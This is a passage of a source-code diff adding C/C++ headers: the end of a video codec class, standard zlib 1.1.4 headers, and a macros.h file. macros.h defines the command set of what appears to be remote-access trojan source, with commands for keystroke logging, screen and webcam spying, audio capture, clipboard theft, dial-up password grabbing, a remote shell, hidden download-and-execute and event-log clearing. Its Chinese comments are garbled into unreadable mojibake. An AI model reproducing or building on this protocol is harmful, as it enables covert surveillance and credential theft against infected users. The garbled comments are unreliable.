m_lpbmiInput = NULL;
}
virtual ~CVideoCodec()
{
// No init yet or init error
if (m_hIC == NULL)
return;
ICDecompressEnd(m_hIC);
ICSeqCompressFrameEnd(&m_cv);
ICCompressorFree(&m_cv);
ICClose(m_hIC);
}
};
#endif // !defined(AFX_VIDEOCODEC_H_INCLUDED)

119
common/macros.h Normal file
View File

@@ -0,0 +1,119 @@
#if !defined(AFX_MACROS_H_INCLUDED)
#define AFX_MACROS_H_INCLUDED
// BYTE<54><45><EFBFBD><EFBFBD>Ҳ<EFBFBD><D2B2>256
enum
{
// <20>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD>ʽ
TRANSFER_MODE_NORMAL = 0x00, // һ<><D2BB>,<2C><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ػ<EFBFBD><D8BB><EFBFBD>Զ<EFBFBD><D4B6><EFBFBD>Ѿ<EFBFBD><D1BE>У<EFBFBD>ȡ<EFBFBD><C8A1>
TRANSFER_MODE_ADDITION, // ׷<><D7B7>
TRANSFER_MODE_ADDITION_ALL, // ȫ<><C8AB>׷<EFBFBD><D7B7>
TRANSFER_MODE_OVERWRITE, // <20><><EFBFBD><EFBFBD>
TRANSFER_MODE_OVERWRITE_ALL, // ȫ<><C8AB><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
TRANSFER_MODE_JUMP, // <20><><EFBFBD><EFBFBD>
TRANSFER_MODE_JUMP_ALL, // ȫ<><C8AB><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
TRANSFER_MODE_CANCEL, // ȡ<><C8A1><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
// <20><><EFBFBD>ƶ˷<C6B6><CBB7><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
COMMAND_ACTIVED = 0x00, // <20><><EFBFBD><EFBFBD><EFBFBD>˿<EFBFBD><CBBF>Լ<EFBFBD><D4BC>ʼ<EEBFAA><CABC><EFBFBD><EFBFBD>
COMMAND_LIST_DRIVE, // <20>г<EFBFBD><D0B3><EFBFBD><EFBFBD><EFBFBD>Ŀ¼
COMMAND_LIST_FILES, // <20>г<EFBFBD>Ŀ¼<C4BF>е<EFBFBD><D0B5>ļ<EFBFBD>
COMMAND_DOWN_FILES, // <20><><EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD>
COMMAND_FILE_SIZE, // <20>ϴ<EFBFBD>ʱ<EFBFBD><CAB1><EFBFBD>ļ<EFBFBD><C4BC><EFBFBD>С
COMMAND_FILE_DATA, // <20>ϴ<EFBFBD>ʱ<EFBFBD><CAB1><EFBFBD>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD><EFBFBD>
COMMAND_EXCEPTION, // <20><><EFBFBD><EFBFBD><E4B7A2><EFBFBD><EFBFBD><ECB3A3><EFBFBD><EFBFBD>Ҫ<EFBFBD><D2AA><EFBFBD>´<EFBFBD><C2B4><EFBFBD>
COMMAND_CONTINUE, // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
COMMAND_STOP, // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ֹ
COMMAND_DELETE_FILE, // ɾ<><C9BE><EFBFBD>ļ<EFBFBD>
COMMAND_DELETE_DIRECTORY, // ɾ<><C9BE>Ŀ¼
COMMAND_SET_TRANSFER_MODE, // <20><><EFBFBD>ô<EFBFBD><C3B4>ʽ
COMMAND_CREATE_FOLDER, // <20><><EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD><C4BC><EFBFBD>
COMMAND_RENAME_FILE, // <20>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD><EFBFBD>
COMMAND_OPEN_FILE_SHOW, // <20><>ʾ<EFBFBD><CABE><EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD>
COMMAND_OPEN_FILE_HIDE, // <20><><EFBFBD>ش<EFBFBD><D8B4><EFBFBD><EFBFBD>ļ<EFBFBD>
COMMAND_SCREEN_SPY, // <20><>Ļ<EFBFBD>
COMMAND_SCREEN_RESET, // <20>ı<EFBFBD><C4B1><EFBFBD>Ļ<EFBFBD><C4BB><EFBFBD><EFBFBD>
COMMAND_ALGORITHM_RESET, // <20>ı<EFBFBD><C4B1>
COMMAND_SCREEN_CTRL_ALT_DEL, // <20><><EFBFBD><EFBFBD>Ctrl+Alt+Del
COMMAND_SCREEN_CONTROL, // <20><>Ļ<EFBFBD><C4BB><EFBFBD><EFBFBD>
COMMAND_SCREEN_BLOCK_INPUT, // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>˼<EFBFBD><CBBC><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
COMMAND_SCREEN_BLANK, // <20><><EFBFBD><EFBFBD><EFBFBD>˺<EFBFBD><CBBA><EFBFBD>
COMMAND_SCREEN_CAPTURE_LAYER, // <20><>׽<EFBFBD><D7BD>
COMMAND_SCREEN_GET_CLIPBOARD, // <20><>ȡԶ<C8A1>̼<EFBFBD><CCBC><EFBFBD><EFBFBD><EFBFBD>
COMMAND_SCREEN_SET_CLIPBOARD, // <20><><EFBFBD><EFBFBD>Զ<EFBFBD>̼<EFBFBD><CCBC><EFBFBD><EFBFBD><EFBFBD>
COMMAND_WEBCAM, // <20><><EFBFBD><EFBFBD>ͷ
COMMAND_WEBCAM_ENABLECOMPRESS, // <20><><EFBFBD><EFBFBD>ͷ<EFBFBD><CDB7><EFBFBD><EFBFBD>Ҫ<EFBFBD>󾭹<EFBFBD>H263ѹ<33><D1B9>
COMMAND_WEBCAM_DISABLECOMPRESS, // <20><><EFBFBD><EFBFBD>ͷ<EFBFBD><CDB7><EFBFBD><EFBFBD>Ҫ<EFBFBD><D2AA>ԭʼ<D4AD><CABC><EFBFBD><EFBFBD>ģʽ
COMMAND_WEBCAM_RESIZE, // <20><><EFBFBD><EFBFBD>ͷ<EFBFBD><CDB7><EFBFBD><EFBFBD><EFBFBD>ֱ<EFBFBD><D6B1>ʣ<EFBFBD><CAA3><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>INT<4E>͵Ŀ<CDB5><C4BF><EFBFBD>
COMMAND_NEXT, // <20><>һ<EFBFBD><D2BB>(<28><><EFBFBD>ƶ<EFBFBD><C6B6>Ѿ<EFBFBD><D1BE>򿪶Ի<F2BFAAB6><D4BB><EFBFBD>)
COMMAND_KEYBOARD, // <20><><EFBFBD>̼<EFBFBD>¼
COMMAND_KEYBOARD_OFFLINE, // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>߼<EFBFBD><DFBC>̼<EFBFBD>¼
COMMAND_KEYBOARD_CLEAR, // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>̼<EFBFBD>¼<EFBFBD><C2BC><EFBFBD><EFBFBD>
COMMAND_AUDIO, // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
COMMAND_SYSTEM, // ϵͳ<CFB5><CDB3><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>̣<EFBFBD><CCA3><EFBFBD><EFBFBD><EFBFBD>....<2E><>
COMMAND_PSLIST, // <20><><EFBFBD><EFBFBD><EFBFBD>б<EFBFBD>
COMMAND_WSLIST, // <20><><EFBFBD><EFBFBD><EFBFBD>б<EFBFBD>
COMMAND_DIALUPASS, // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
COMMAND_KILLPROCESS, // <20>رս<D8B1><D5BD><EFBFBD>
COMMAND_SHELL, // cmdshell
COMMAND_SESSION, // <20><EFBFBD><E1BBB0><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ػ<EFBFBD><D8BB><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ע<EFBFBD><D7A2>, ж<>أ<EFBFBD>
COMMAND_REMOVE, // ж<>غ<EFBFBD><D8BA><EFBFBD>
COMMAND_DOWN_EXEC, // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> - <20><><EFBFBD><EFBFBD>ִ<EFBFBD><D6B4>
COMMAND_UPDATE_SERVER, // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> - <20><><EFBFBD>ظ<EFBFBD><D8B8><EFBFBD>
COMMAND_CLEAN_EVENT, // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> - <20><><EFBFBD><EFBFBD>ϵͳ<CFB5><CDB3>־
COMMAND_OPEN_URL_HIDE, // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> - <20><><EFBFBD>ش<EFBFBD><D8B4><EFBFBD><EFBFBD><EFBFBD>ҳ
COMMAND_OPEN_URL_SHOW, // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> - <20><>ʾ<EFBFBD><CABE><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ҳ
COMMAND_RENAME_REMARK, // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ע
COMMAND_REPLAY_HEARTBEAT, // <20>ظ<EFBFBD><D8B8><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
// <20><><EFBFBD><EFBFBD><EFBFBD>˷<EFBFBD><CBB7><EFBFBD><EFBFBD>ı<EFBFBD>ʶ
TOKEN_AUTH = 100, // Ҫ<><D2AA><EFBFBD><EFBFBD>֤
TOKEN_HEARTBEAT, // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
TOKEN_LOGIN, // <20><><EFBFBD>߰<EFBFBD>
TOKEN_DRIVE_LIST, // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>б<EFBFBD>
TOKEN_FILE_LIST, // <20>ļ<EFBFBD><C4BC>б<EFBFBD>
TOKEN_FILE_SIZE, // <20>ļ<EFBFBD><C4BC><EFBFBD>С<EFBFBD><D0A1><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD>ʱ<EFBFBD><CAB1>
TOKEN_FILE_DATA, // <20>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD><EFBFBD>
TOKEN_TRANSFER_FINISH, // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
TOKEN_DELETE_FINISH, // ɾ<><C9BE><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
TOKEN_GET_TRANSFER_MODE, // <20>õ<EFBFBD><C3B5>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD>ʽ
TOKEN_GET_FILEDATA, // Զ<>̵õ<CCB5><C3B5><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD><EFBFBD>
TOKEN_CREATEFOLDER_FINISH, // <20><><EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
TOKEN_DATA_CONTINUE, // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
TOKEN_RENAME_FINISH, // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
TOKEN_EXCEPTION, // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
TOKEN_BITMAPINFO, // <20><>Ļ<EFBFBD><EFBFBD><E9BFB4>BITMAPINFO
TOKEN_FIRSTSCREEN, // <20><>Ļ<EFBFBD><EFBFBD>ĵ<EFBFBD>һ<EFBFBD><D2BB>ͼ
TOKEN_NEXTSCREEN, // <20><>Ļ<EFBFBD><EFBFBD><E9BFB4><EFBFBD><EFBFBD>һ<EFBFBD><D2BB>ͼ
TOKEN_CLIPBOARD_TEXT, // <20><>Ļ<EFBFBD>鿴ʱ<E9BFB4><CAB1><EFBFBD>ͼ<EFBFBD><CDBC><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
TOKEN_WEBCAM_BITMAPINFO, // <20><><EFBFBD><EFBFBD>ͷ<EFBFBD><CDB7>BITMAPINFOHEADER
TOKEN_WEBCAM_DIB, // <20><><EFBFBD><EFBFBD>ͷ<EFBFBD><CDB7>ͼ<EFBFBD><CDBC><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
TOKEN_AUDIO_START, // <20><>ʼ<EFBFBD><CABC><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
TOKEN_AUDIO_DATA, // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
TOKEN_KEYBOARD_START, // <20><><EFBFBD>̼<EFBFBD>¼<EFBFBD><C2BC>ʼ
TOKEN_KEYBOARD_DATA, // <20><><EFBFBD>̼<EFBFBD>¼<EFBFBD><C2BC><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
TOKEN_PSLIST, // <20><><EFBFBD><EFBFBD><EFBFBD>б<EFBFBD>
TOKEN_WSLIST, // <20><><EFBFBD><EFBFBD><EFBFBD>б<EFBFBD>
TOKEN_DIALUPASS, // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
TOKEN_SHELL_START // Զ<><D4B6><EFBFBD>ն˿<D5B6>ʼ
};
#define MAX_WRITE_RETRY 15 // <20><><EFBFBD><EFBFBD>д<EFBFBD><D0B4><EFBFBD>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD><EFBFBD>
#define MAX_SEND_BUFFER 1024 * 8 // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ݳ<EFBFBD><DDB3><EFBFBD>
#define MAX_RECV_BUFFER 1024 * 8 // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ݳ<EFBFBD><DDB3><EFBFBD>
#endif // !defined(AFX_MACROS_H_INCLUDED)

279
common/zlib/zconf.h Normal file
View File

@@ -0,0 +1,279 @@
/* zconf.h -- configuration of the zlib compression library
* Copyright (C) 1995-2002 Jean-loup Gailly.
* For conditions of distribution and use, see copyright notice in zlib.h
*/
/* @(#) $Id$ */
#ifndef _ZCONF_H
#define _ZCONF_H
/*
* If you *really* need a unique prefix for all types and library functions,
* compile with -DZ_PREFIX. The "standard" zlib should be compiled without it.
*/
#ifdef Z_PREFIX
# define deflateInit_ z_deflateInit_
# define deflate z_deflate
# define deflateEnd z_deflateEnd
# define inflateInit_ z_inflateInit_
# define inflate z_inflate
# define inflateEnd z_inflateEnd
# define deflateInit2_ z_deflateInit2_
# define deflateSetDictionary z_deflateSetDictionary
# define deflateCopy z_deflateCopy
# define deflateReset z_deflateReset
# define deflateParams z_deflateParams
# define inflateInit2_ z_inflateInit2_
# define inflateSetDictionary z_inflateSetDictionary
# define inflateSync z_inflateSync
# define inflateSyncPoint z_inflateSyncPoint
# define inflateReset z_inflateReset
# define compress z_compress
# define compress2 z_compress2
# define uncompress z_uncompress
# define adler32 z_adler32
# define crc32 z_crc32
# define get_crc_table z_get_crc_table
# define Byte z_Byte
# define uInt z_uInt
# define uLong z_uLong
# define Bytef z_Bytef
# define charf z_charf
# define intf z_intf
# define uIntf z_uIntf
# define uLongf z_uLongf
# define voidpf z_voidpf
# define voidp z_voidp
#endif
#if (defined(_WIN32) || defined(__WIN32__)) && !defined(WIN32)
# define WIN32
#endif
#if defined(__GNUC__) || defined(WIN32) || defined(__386__) || defined(i386)
# ifndef __32BIT__
# define __32BIT__
# endif
#endif
#if defined(__MSDOS__) && !defined(MSDOS)
# define MSDOS
#endif
/*
* Compile with -DMAXSEG_64K if the alloc function cannot allocate more
* than 64k bytes at a time (needed on systems with 16-bit int).
*/
#if defined(MSDOS) && !defined(__32BIT__)
# define MAXSEG_64K
#endif
#ifdef MSDOS
# define UNALIGNED_OK
#endif
#if (defined(MSDOS) || defined(_WINDOWS) || defined(WIN32)) && !defined(STDC)
# define STDC
#endif
#if defined(__STDC__) || defined(__cplusplus) || defined(__OS2__)
# ifndef STDC
# define STDC
# endif
#endif
#ifndef STDC
# ifndef const /* cannot use !defined(STDC) && !defined(const) on Mac */
# define const
# endif
#endif
/* Some Mac compilers merge all .h files incorrectly: */
#if defined(__MWERKS__) || defined(applec) ||defined(THINK_C) ||defined(__SC__)
# define NO_DUMMY_DECL
#endif
/* Old Borland C incorrectly complains about missing returns: */
#if defined(__BORLANDC__) && (__BORLANDC__ < 0x500)
# define NEED_DUMMY_RETURN
#endif
/* Maximum value for memLevel in deflateInit2 */
#ifndef MAX_MEM_LEVEL
# ifdef MAXSEG_64K
# define MAX_MEM_LEVEL 8
# else
# define MAX_MEM_LEVEL 9
# endif
#endif
/* Maximum value for windowBits in deflateInit2 and inflateInit2.
* WARNING: reducing MAX_WBITS makes minigzip unable to extract .gz files
* created by gzip. (Files created by minigzip can still be extracted by
* gzip.)
*/
#ifndef MAX_WBITS
# define MAX_WBITS 15 /* 32K LZ77 window */
#endif
/* The memory requirements for deflate are (in bytes):
(1 << (windowBits+2)) + (1 << (memLevel+9))
that is: 128K for windowBits=15 + 128K for memLevel = 8 (default values)
plus a few kilobytes for small objects. For example, if you want to reduce
the default memory requirements from 256K to 128K, compile with
make CFLAGS="-O -DMAX_WBITS=14 -DMAX_MEM_LEVEL=7"
Of course this will generally degrade compression (there's no free lunch).
The memory requirements for inflate are (in bytes) 1 << windowBits
that is, 32K for windowBits=15 (default value) plus a few kilobytes
for small objects.
*/
/* Type declarations */
#ifndef OF /* function prototypes */
# ifdef STDC
# define OF(args) args
# else
# define OF(args) ()
# endif
#endif
/* The following definitions for FAR are needed only for MSDOS mixed
* model programming (small or medium model with some far allocations).
* This was tested only with MSC; for other MSDOS compilers you may have
* to define NO_MEMCPY in zutil.h. If you don't need the mixed model,
* just define FAR to be empty.
*/
#if (defined(M_I86SM) || defined(M_I86MM)) && !defined(__32BIT__)
/* MSC small or medium model */
# define SMALL_MEDIUM
# ifdef _MSC_VER
# define FAR _far
# else
# define FAR far
# endif
#endif
#if defined(__BORLANDC__) && (defined(__SMALL__) || defined(__MEDIUM__))
# ifndef __32BIT__
# define SMALL_MEDIUM
# define FAR _far
# endif
#endif
/* Compile with -DZLIB_DLL for Windows DLL support */
#if defined(ZLIB_DLL)
# if defined(_WINDOWS) || defined(WINDOWS)
# ifdef FAR
# undef FAR
# endif
# include <windows.h>
# define ZEXPORT WINAPI
# ifdef WIN32
# define ZEXPORTVA WINAPIV
# else
# define ZEXPORTVA FAR _cdecl _export
# endif
# endif
# if defined (__BORLANDC__)
# if (__BORLANDC__ >= 0x0500) && defined (WIN32)
# include <windows.h>
# define ZEXPORT __declspec(dllexport) WINAPI
# define ZEXPORTRVA __declspec(dllexport) WINAPIV
# else
# if defined (_Windows) && defined (__DLL__)
# define ZEXPORT _export
# define ZEXPORTVA _export
# endif
# endif
# endif
#endif
#if defined (__BEOS__)
# if defined (ZLIB_DLL)
# define ZEXTERN extern __declspec(dllexport)
# else
# define ZEXTERN extern __declspec(dllimport)
# endif
#endif
#ifndef ZEXPORT
# define ZEXPORT
#endif
#ifndef ZEXPORTVA
# define ZEXPORTVA
#endif
#ifndef ZEXTERN
# define ZEXTERN extern
#endif
#ifndef FAR
# define FAR
#endif
#if !defined(MACOS) && !defined(TARGET_OS_MAC)
typedef unsigned char Byte; /* 8 bits */
#endif
typedef unsigned int uInt; /* 16 bits or more */
typedef unsigned long uLong; /* 32 bits or more */
#ifdef SMALL_MEDIUM
/* Borland C/C++ and some old MSC versions ignore FAR inside typedef */
# define Bytef Byte FAR
#else
typedef Byte FAR Bytef;
#endif
typedef char FAR charf;
typedef int FAR intf;
typedef uInt FAR uIntf;
typedef uLong FAR uLongf;
#ifdef STDC
typedef void FAR *voidpf;
typedef void *voidp;
#else
typedef Byte FAR *voidpf;
typedef Byte *voidp;
#endif
#ifdef HAVE_UNISTD_H
# include <sys/types.h> /* for off_t */
# include <unistd.h> /* for SEEK_* and off_t */
# define z_off_t off_t
#endif
#ifndef SEEK_SET
# define SEEK_SET 0 /* Seek from beginning of file. */
# define SEEK_CUR 1 /* Seek from current position. */
# define SEEK_END 2 /* Set file pointer to EOF plus "offset" */
#endif
#ifndef z_off_t
# define z_off_t long
#endif
/* MVS linker does not support external names larger than 8 bytes */
#if defined(__MVS__)
# pragma map(deflateInit_,"DEIN")
# pragma map(deflateInit2_,"DEIN2")
# pragma map(deflateEnd,"DEEND")
# pragma map(inflateInit_,"ININ")
# pragma map(inflateInit2_,"ININ2")
# pragma map(inflateEnd,"INEND")
# pragma map(inflateSync,"INSY")
# pragma map(inflateSetDictionary,"INSEDI")
# pragma map(inflate_blocks,"INBL")
# pragma map(inflate_blocks_new,"INBLNE")
# pragma map(inflate_blocks_free,"INBLFR")
# pragma map(inflate_blocks_reset,"INBLRE")
# pragma map(inflate_codes_free,"INCOFR")
# pragma map(inflate_codes,"INCO")
# pragma map(inflate_fast,"INFA")
# pragma map(inflate_flush,"INFLU")
# pragma map(inflate_mask,"INMA")
# pragma map(inflate_set_dictionary,"INSEDI2")
# pragma map(inflate_copyright,"INCOPY")
# pragma map(inflate_trees_bits,"INTRBI")
# pragma map(inflate_trees_dynamic,"INTRDY")
# pragma map(inflate_trees_fixed,"INTRFI")
# pragma map(inflate_trees_free,"INTRFR")
#endif
#endif /* _ZCONF_H */

893
common/zlib/zlib.h Normal file
View File

@@ -0,0 +1,893 @@
/* zlib.h -- interface of the 'zlib' general purpose compression library
version 1.1.4, March 11th, 2002
Copyright (C) 1995-2002 Jean-loup Gailly and Mark Adler
This software is provided 'as-is', without any express or implied
warranty. In no event will the authors be held liable for any damages
arising from the use of this software.
Permission is granted to anyone to use this software for any purpose,
including commercial applications, and to alter it and redistribute it
freely, subject to the following restrictions:
1. The origin of this software must not be misrepresented; you must not
claim that you wrote the original software. If you use this software
in a product, an acknowledgment in the product documentation would be
appreciated but is not required.
2. Altered source versions must be plainly marked as such, and must not be
misrepresented as being the original software.
3. This notice may not be removed or altered from any source distribution.
Jean-loup Gailly Mark Adler
jloup@gzip.org madler@alumni.caltech.edu
The data format used by the zlib library is described by RFCs (Request for
Comments) 1950 to 1952 in the files ftp://ds.internic.net/rfc/rfc1950.txt
(zlib format), rfc1951.txt (deflate format) and rfc1952.txt (gzip format).
*/
#ifndef _ZLIB_H
#define _ZLIB_H
#include "zconf.h"
#ifdef __cplusplus
extern "C" {
#endif
#define ZLIB_VERSION "1.1.4"
/*
The 'zlib' compression library provides in-memory compression and
decompression functions, including integrity checks of the uncompressed
data. This version of the library supports only one compression method
(deflation) but other algorithms will be added later and will have the same
stream interface.
Compression can be done in a single step if the buffers are large
enough (for example if an input file is mmap'ed), or can be done by
repeated calls of the compression function. In the latter case, the
application must provide more input and/or consume the output
(providing more output space) before each call.
The library also supports reading and writing files in gzip (.gz) format
with an interface similar to that of stdio.
The library does not install any signal handler. The decoder checks
the consistency of the compressed data, so the library should never
crash even in case of corrupted input.
*/
typedef voidpf (*alloc_func) OF((voidpf opaque, uInt items, uInt size));
typedef void (*free_func) OF((voidpf opaque, voidpf address));
struct internal_state;
typedef struct z_stream_s {
Bytef *next_in; /* next input byte */
uInt avail_in; /* number of bytes available at next_in */
uLong total_in; /* total nb of input bytes read so far */
Bytef *next_out; /* next output byte should be put there */
uInt avail_out; /* remaining free space at next_out */
uLong total_out; /* total nb of bytes output so far */
char *msg; /* last error message, NULL if no error */
struct internal_state FAR *state; /* not visible by applications */
alloc_func zalloc; /* used to allocate the internal state */
free_func zfree; /* used to free the internal state */
voidpf opaque; /* private data object passed to zalloc and zfree */
int data_type; /* best guess about the data type: ascii or binary */
uLong adler; /* adler32 value of the uncompressed data */
uLong reserved; /* reserved for future use */
} z_stream;
typedef z_stream FAR *z_streamp;
/*
The application must update next_in and avail_in when avail_in has
dropped to zero. It must update next_out and avail_out when avail_out
has dropped to zero. The application must initialize zalloc, zfree and
opaque before calling the init function. All other fields are set by the
compression library and must not be updated by the application.
The opaque value provided by the application will be passed as the first
parameter for calls of zalloc and zfree. This can be useful for custom
memory management. The compression library attaches no meaning to the
opaque value.
zalloc must return Z_NULL if there is not enough memory for the object.
If zlib is used in a multi-threaded application, zalloc and zfree must be
thread safe.
On 16-bit systems, the functions zalloc and zfree must be able to allocate
exactly 65536 bytes, but will not be required to allocate more than this
if the symbol MAXSEG_64K is defined (see zconf.h). WARNING: On MSDOS,
pointers returned by zalloc for objects of exactly 65536 bytes *must*
have their offset normalized to zero. The default allocation function
provided by this library ensures this (see zutil.c). To reduce memory
requirements and avoid any allocation of 64K objects, at the expense of
compression ratio, compile the library with -DMAX_WBITS=14 (see zconf.h).
The fields total_in and total_out can be used for statistics or
progress reports. After compression, total_in holds the total size of
the uncompressed data and may be saved for use in the decompressor
(particularly if the decompressor wants to decompress everything in
a single step).
*/
/* constants */
#define Z_NO_FLUSH 0
#define Z_PARTIAL_FLUSH 1 /* will be removed, use Z_SYNC_FLUSH instead */
#define Z_SYNC_FLUSH 2
#define Z_FULL_FLUSH 3
#define Z_FINISH 4
/* Allowed flush values; see deflate() below for details */
#define Z_OK 0
#define Z_STREAM_END 1
#define Z_NEED_DICT 2
#define Z_ERRNO (-1)
#define Z_STREAM_ERROR (-2)
#define Z_DATA_ERROR (-3)
#define Z_MEM_ERROR (-4)
#define Z_BUF_ERROR (-5)
#define Z_VERSION_ERROR (-6)
/* Return codes for the compression/decompression functions. Negative
* values are errors, positive values are used for special but normal events.
*/
#define Z_NO_COMPRESSION 0
#define Z_BEST_SPEED 1
#define Z_BEST_COMPRESSION 9
#define Z_DEFAULT_COMPRESSION (-1)
/* compression levels */
#define Z_FILTERED 1
#define Z_HUFFMAN_ONLY 2
#define Z_DEFAULT_STRATEGY 0
/* compression strategy; see deflateInit2() below for details */
#define Z_BINARY 0
#define Z_ASCII 1
#define Z_UNKNOWN 2
/* Possible values of the data_type field */
#define Z_DEFLATED 8
/* The deflate compression method (the only one supported in this version) */
#define Z_NULL 0 /* for initializing zalloc, zfree, opaque */
#define zlib_version zlibVersion()
/* for compatibility with versions < 1.0.2 */
/* basic functions */
ZEXTERN const char * ZEXPORT zlibVersion OF((void));
/* The application can compare zlibVersion and ZLIB_VERSION for consistency.
If the first character differs, the library code actually used is
not compatible with the zlib.h header file used by the application.
This check is automatically made by deflateInit and inflateInit.
*/
/*
ZEXTERN int ZEXPORT deflateInit OF((z_streamp strm, int level));
Initializes the internal stream state for compression. The fields
zalloc, zfree and opaque must be initialized before by the caller.
If zalloc and zfree are set to Z_NULL, deflateInit updates them to
use default allocation functions.
The compression level must be Z_DEFAULT_COMPRESSION, or between 0 and 9:
1 gives best speed, 9 gives best compression, 0 gives no compression at
all (the input data is simply copied a block at a time).
Z_DEFAULT_COMPRESSION requests a default compromise between speed and
compression (currently equivalent to level 6).
deflateInit returns Z_OK if success, Z_MEM_ERROR if there was not
enough memory, Z_STREAM_ERROR if level is not a valid compression level,
Z_VERSION_ERROR if the zlib library version (zlib_version) is incompatible
with the version assumed by the caller (ZLIB_VERSION).
msg is set to null if there is no error message. deflateInit does not
perform any compression: this will be done by deflate().
*/
ZEXTERN int ZEXPORT deflate OF((z_streamp strm, int flush));
/*
deflate compresses as much data as possible, and stops when the input
buffer becomes empty or the output buffer becomes full. It may introduce some
output latency (reading input without producing any output) except when
forced to flush.
The detailed semantics are as follows. deflate performs one or both of the
following actions:
- Compress more input starting at next_in and update next_in and avail_in
accordingly. If not all input can be processed (because there is not
enough room in the output buffer), next_in and avail_in are updated and
processing will resume at this point for the next call of deflate().
- Provide more output starting at next_out and update next_out and avail_out
accordingly. This action is forced if the parameter flush is non zero.
Forcing flush frequently degrades the compression ratio, so this parameter
should be set only when necessary (in interactive applications).
Some output may be provided even if flush is not set.
Before the call of deflate(), the application should ensure that at least
one of the actions is possible, by providing more input and/or consuming
more output, and updating avail_in or avail_out accordingly; avail_out
should never be zero before the call. The application can consume the
compressed output when it wants, for example when the output buffer is full
(avail_out == 0), or after each call of deflate(). If deflate returns Z_OK
and with zero avail_out, it must be called again after making room in the
output buffer because there might be more output pending.
If the parameter flush is set to Z_SYNC_FLUSH, all pending output is
flushed to the output buffer and the output is aligned on a byte boundary, so
that the decompressor can get all input data available so far. (In particular
avail_in is zero after the call if enough output space has been provided
before the call.) Flushing may degrade compression for some compression
algorithms and so it should be used only when necessary.
If flush is set to Z_FULL_FLUSH, all output is flushed as with
Z_SYNC_FLUSH, and the compression state is reset so that decompression can
restart from this point if previous compressed data has been damaged or if
random access is desired. Using Z_FULL_FLUSH too often can seriously degrade
the compression.
If deflate returns with avail_out == 0, this function must be called again
with the same value of the flush parameter and more output space (updated
avail_out), until the flush is complete (deflate returns with non-zero
avail_out).
If the parameter flush is set to Z_FINISH, pending input is processed,
